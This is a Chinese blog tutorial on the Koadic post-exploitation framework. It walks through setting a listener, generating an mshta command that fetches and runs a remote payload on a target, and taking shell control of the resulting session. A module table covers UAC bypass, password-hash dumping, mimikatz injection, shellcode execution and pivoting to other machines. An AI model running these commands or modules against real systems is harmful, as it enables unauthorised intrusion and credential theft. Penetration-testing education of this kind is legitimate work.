带你了解后渗透工具Koadic
前言:
在朋友的博客上看到推荐的一款工具Koadic,我接触了以后发现很不错这款工具的强大之处我觉得就是拿到shell后的各种模块功能,我就自己写出来发给大家看看吧。
首先把项目克隆到本地:
然后解压,如果你要安装到你指定的目录就先cd到那个目录在下载,我是复制到那了,所以我解压。如下图

运行koadic
cd koadic-master/ //cd到软件目录
sudo ./koadic //用最高权限运行koadic
打开Koadic,显示需要设置的内容
下图命令如下
(koadic: sta/js/mshta)# info //
查看需要设置的内容

查看工具使用帮助
(koadic: sta/js/mshta)# help

大佬跳过我的翻译,英语很渣而且是全靠感觉翻译的(很辛苦,靠经验和百度翻译蒙)
(koadic: sta/js/mshta)# help //帮助的意思
COMMAND DESCRIPTION 命令 描述
——— ————-
load reloads all modules //显示
info shows the current module options//显示当前模块选项。
use switch to a different module//切换到不同的模块
set sets a variable for the current module//为当前模块设置一个变量
jobs shows info about jobs//显示有关工作的信息
help displays help info for a command//获取一个cmdshell
cmdshell command shell to interact with a zombie// 命令 shell 与僵尸交互
kill shows info about jobs//显示有关工作的信息
listeners shows info about stagers//显示信息的传输器载荷
exit exits the program//退出
zombies lists hooked targets//显示所有僵尸会话
run runs the current module//运行,和exploit一个样
verbose exits the program//退出程序
进入主题 ,开始设置。听着是不是热血沸腾要往下看了,哈哈。其实没啥要讲的,你只需要set lhost
这个命令大家应该都懂得,就是设置本地ip。
如下图

注意看,他生成了一个网址,
其实这是一个恶意网址,里面装载了exploit
最后生成的利用命令如下
mshta http://192.168.0.105:9999/S8QoC
利用方法是放到cmd里面执行
如下图

其实你可以看到他弹出了事件查看器我也不知道为什么,不是我点开的啊,
也可能会好奇mshta是什么意思,正解如下
mshta.exe是微软Windows操作系统相关程序,用于执行.HTA文件
我想就是这样利用的吧
那么当目标主机运行这个命令的时候,我们这边就反弹回来了会话 会话ID为0
如下图

如果是用其他复制批量执行了这个命令,会话比较多的话可以执行zombies来查看左右会话,并选择id进行控制
然后如果我这里想获取一个cmdshell的话,方法如下
cmdshell ID
我这里应该是 cmdshell 0
如下图

当然这怎么能算得上好用的后渗透呢,这怎么能满足大家呢
当然了,上面只是普通操作,普通操作,所谓后渗透,在下面,
慢慢看嘛,这个后渗透工具值得上榜的原因我认为有几条
1.环境要求不高
2.操作很简单
3.提供的后渗透模块很实用丰富
后渗透模块我就不一个一个讲了,设置都很简单
我主要给你们说一下名字
- Hooks a zombie
- Elevates integrity (UAC Bypass)
- Dumps SAM/SECURITY hive for passwords
- Scans local network for open SMB
- Pivots to another machine
Stagers(传输器载荷)
Stagers hook target zombies and allow you to use implants.
传输器载荷可以 hook 目标僵尸,进而方便使用植入。
| Module | Description |
|---|---|
| stager/js/mshta | 可以使用HTML的应用程序在内存中的有效载荷mshta.exe |
| stager/js/regsvr | 可以使用regsvr32.exe COM+脚本内存负载 |
| stager/js/rundll32_js | serves payloads in memory using rundll32.exe 可以使用rundll32.exe内存负载 |
| stager/js/disk | serves payloads using files on disk 使用磁盘上的文件提供有效载荷 |
Implants(
Implants start jobs on zombies.
Implants 在僵尸上运行。
| Module | Description |
|---|---|
| implant/elevate/bypassuac_eventvwr | Uses enigma0x3’s eventvwr.exe exploit to bypass UAC on Windows 7, 8, and 10.使用enigma0x3的eventvwr.exe漏洞绕过UAC的Windows 7, 8,和10。 |
| implant/elevate/bypassuac_sdclt | Uses enigma0x3’s sdclt.exe exploit to bypass UAC on Windows 10.使用enigma0x3的sdclt.exe漏洞绕过UAC的Windows 10。 |
| implant/fun/zombie | Maxes volume and opens The Cranberries YouTube in a hidden window.长量和隐藏的窗口打开小红莓YouTube。 |
| implant/fun/voice | Plays a message over text-to-speech.在文本到语音之间传递信息。 |
| implant/gather/clipboard | Retrieves the current content of the user clipboard.检索用户剪贴板的当前内容。 |
| implant/gather/hashdump_sam | Retrieves hashed passwords from the SAM hive.从SAM hive检索密码。 |
| implant/gather/hashdump_dc | Domain controller hashes from the NTDS.dit file.域控制器hashes从NTDS。说文件。 |
| implant/inject/mimikatz_dynwrapx | Injects a reflective-loaded DLL to run powerkatz.dll (using Dynamic Wrapper X).注入一个反射加载的DLL来运行powerkatz。dll(使用动态包装器X)。 |
| implant/inject/mimikatz_dotnet2js | Injects a reflective-loaded DLL to run powerkatz.dll (@tirannido DotNetToJS).注入一个反射加载的DLL来运行powerkatz。dll(@tirannido DotNetToJS)。 |
| implant/inject/shellcode_excel | Runs arbitrary shellcode payload (if Excel is installed).运行任意的shell代码有效负载(如果已经安装了Excel)。 |
| implant/manage/enable_rdesktop | Enables remote desktop on the target.在目标上启用远程桌面。 |
| implant/manage/exec_cmd | Run an arbitrary command on the target, and optionally receive the output.在目标上运行任意命令,并可选地接收输出。 |
| implant/pivot/stage_wmi | Hook a zombie on another machine using WMI.用WMI把僵尸挂在另一台机器上。 |
| implant/pivot/exec_psexec | Run a command on another machine using psexec from sysinternals.使用sysinternals中的psexec在另一台机器上运行一个命令。 |
| implant/scan/tcp | Uses HTTP to scan open TCP ports on the target zombie LAN.使用HTTP扫描目标僵尸网络上的TCP端口。 |
| implant/utils/download_file | Downloads a file from the target zombie.从目标僵尸下载一个文件 |
| implant/utils/upload_file | Uploads a file from the listening server to the target zombies.上传一个从监听服务器到目标僵尸的文件 |
Disclaimer 声明
代码示例仅供教育参考,因为只有研究攻击者使用的攻击手段,才能建立足够强大的防御体系。 在未经事先许可的情况下使用此代码对目标系统进行操作是非法的,作者对此不负任何责任。
编辑:Pingx
有不好的地方请指出
带你了解后渗透工具Koadic的更多相关文章
- 有趣的后渗透工具 Koadic
koadic是DEFCON黑客大会上分享出来的的一个后渗透工具,虽然和msf有些相似,但是Koadic主要是通过使用Windows ScriptHost(也称为JScript / VBScript)进 ...
- 后渗透工具Empire使用教程
一.前言 Empire是一个PowerShell后期漏洞利用代理工具同时也是一款很强大的后渗透测神器,它建立在密码学.安全通信和灵活的架构之上.Empire实现了无需powershell.exe就可运 ...
- 渗透攻防工具篇-后渗透阶段的Meterpreter
作者:坏蛋链接:https://zhuanlan.zhihu.com/p/23677530来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 前言 熟悉Metasploit ...
- 后渗透提权辅助工具BeRoot详解
0x00 工具介绍 前言 BeRoot是一个后期开发工具,用于检查常见的Windows的配置错误,以方便找到提高我们提权的方法.其二进制编译地址为: https://github.com/Alessa ...
- iOS macOS的后渗透利用工具:EggShell
EggShell是一款基于Python编写的iOS和macOS的后渗透利用工具.它有点类似于metasploit,我们可以用它来创建payload建立侦听.此外,在反弹回的session会话也为我们提 ...
- Enumy:一款功能强大的Linux后渗透提权枚举工具
Enumy是一款功能强大的Linux后渗透提权枚举工具,该工具是一个速度非常快的可移植可执行文件,广大研究人员可以在针对Linux设备的渗透测试以及CTF的后渗透阶段利用该工具实现权限提升,而Enum ...
- Metasploit简单使用——后渗透阶段
在上文中我们复现了永恒之蓝漏洞,这里我们学习一下利用msf简单的后渗透阶段的知识/ 一.meterperter常用命令 sysinfo #查看目标主机系统信息 run scraper #查看目标主机详 ...
- Metasploit Framework(8)后渗透测试(一)
文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 使用场景: Kali机器IP:192.168.163. ...
- 攻击者利用的Windows命令、横向渗透工具分析结果列表
横向渗透工具分析结果列表 https://jpcertcc.github.io/ToolAnalysisResultSheet/ 攻击者利用的Windows命令 https://blogs.jpcer ...
随机推荐
- iOS 开发之基于JWT的Token认证机制及解析
在移动端和服务端通信中,一般有两种认证方式:token 和 session. 1.session/cookie 认证机制: 在服务端创建一个Session对象,同时在客户端的浏览器端创建一个Cooki ...
- 使用pycharm创建Django项目,'django-admin' 不是内部或外部命令
报错信息如下: (笔者的电脑为win10,python3.7,django 2.2.6 ) 第一种情况的解决方案:没有配置环境变量,Django安装之后,需要配置环境变量,命令django-admin ...
- Vue-使用webpack+vue-cli搭建项目
一.准备 安装NodeJs + 安装Webpack + 配置环境变量 技巧使用: 1. npm 淘宝路径配置:npm config set registry=https://registry.npm. ...
- gitlab回退到某次commit——本地+远程
## 查看所有commits记录$ git log ## gitlab回退到某次commit$ git reset --hard 3018a546427e1f865524b82b488d6a2721d ...
- Jmeter_用户定义的变量
1.线程组->添加->配置原件->用户定义的变量 2.自定义变量引用: ${ }
- 转载和补充:Oracle中的一些特殊字符
oracle通配符,运算符的使用 用于where比较条件的有: 等于:=.<.<=.>.>=.<> 包含:in.not in exists.not exists 范 ...
- [经验] 如何在虚拟机上安装 CentOS
环境配置 虚拟机 vmware 15.5 Pro 操作系统 CentOS-7-x86_64-DVD-1908.iso 第一步: 在虚拟机上打开操作系统的镜像文件并配置硬件信息 这里的操作就是一本道 ...
- [PHP]PHP中申明 declare(strict_types=1)的作用
strict_types=1 针对参数类型开启严格模式,进行数据类型检验,默认是弱类型校验哪个文件写了declare,哪个文件中的所有代码就需要检查 declare(strict_types=1); ...
- MyBatis 入门Demo
新建数据库my_db,新建表student_tb id为主键,不自动递增. 不必插入数据. 下载MyBatis https://github.com/mybatis/mybatis-3/release ...
- Python3.5学习之旅——day3
本节内容: 1.字符串操作 2.字典操作 3.集合 4.文件操作 5.字符编码与转码 6.函数与函数式编程 一.字符串操作 name='kobe' name.capitalize() 首字母大写 na ...